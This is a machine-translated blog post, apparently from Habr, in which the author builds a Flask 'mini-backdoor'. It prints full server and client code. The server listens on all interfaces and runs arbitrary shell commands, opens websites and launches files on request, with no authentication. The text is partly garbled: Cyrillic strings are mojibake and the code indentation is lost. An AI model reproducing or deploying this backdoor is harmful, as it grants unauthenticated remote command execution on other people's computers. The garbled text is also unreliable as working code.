Hei Habr!
Saya baru-baru ini menonton versi unduhan dari aliran pemrograman βCara membuat aplikasi web Anda sendiri di Flask.β Dan saya memutuskan untuk mengkonsolidasikan pengetahuan saya dalam beberapa proyek. Untuk waktu yang lama saya tidak tahu harus menulis apa dan muncul ide: βMengapa tidak membuat mini-backdoor di Flask?β
Opsi pertama untuk implementasi dan kemampuan pintu belakang segera muncul di kepala saya. Namun saya memutuskan untuk segera membuat daftar kemampuan backdoor:
- Ketahui cara membuka situs web
- Memiliki akses baris perintah
- Dapat membuka program, foto, video
Jadi, poin pertama sangat mudah diterapkan menggunakan modul browser web. Saya memutuskan untuk menerapkan poin kedua menggunakan modul os. Dan yang ketiga juga melalui modul os, tapi saya akan menggunakan βlinkβ (lebih lanjut tentang itu nanti).
Menulis server
Jadi, *drumroll* semua kode servernya:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Saya sudah membuang semua kodenya, saatnya menjelaskan intinya.
Semua kode berjalan di komputer lokal pada port 5000. Untuk berinteraksi dengan server, kita harus mengirimkan permintaan JSON POST.
Struktur permintaan JSON:
{βcommandβ: βcomecommandβ, βdataβ: βsomedataβ}
Masuk akal jika 'perintah' adalah perintah yang ingin kita jalankan. Dan 'data' adalah argumen perintah.
Anda dapat menulis dan mengirim permintaan JSON untuk berinteraksi dengan server secara manual (permintaan akan membantu Anda). Atau Anda dapat menulis klien konsol.
Menulis klien
Kode:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Penjelasan:
Pertama-tama, modul permintaan diimpor (untuk berinteraksi dengan server). Di bawah ini adalah deskripsi fungsi start dan test. Dan kemudian siklus di mana keajaiban terjadi. Sudahkah Anda membaca kodenya? Sehingga Anda memahami arti keajaiban yang terjadi dalam siklus tersebut. Masukkan perintah - itu dijalankan. Shell β perintah untuk baris perintah (logikanya di luar skala).
Test β memeriksa apakah server sedang berjalan (backdoor)
Tautan β penggunaan βjalan pintasβ
Openweb β membuka situs web
Keluar β keluar dari klien
Set β mengatur ip komputer Anda di jaringan lokal
Dan sekarang lebih banyak tentang tautan.
Ada file link.txt di sebelah server. Ini berisi tautan (jalur lengkap) ke file (video, foto, program).
Strukturnya seperti ini:
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
Total
Kami memiliki server pintu belakang untuk mengendalikan komputer di jaringan lokal (dalam jaringan wi-fi). Secara teknis, kita dapat menjalankan klien dari perangkat apa pun yang memiliki juru bahasa python.
PS Saya menambahkan perintah set sehingga jika komputer di jaringan lokal diberi IP yang berbeda, maka dapat diubah langsung di klien.
Sumber: www.habr.com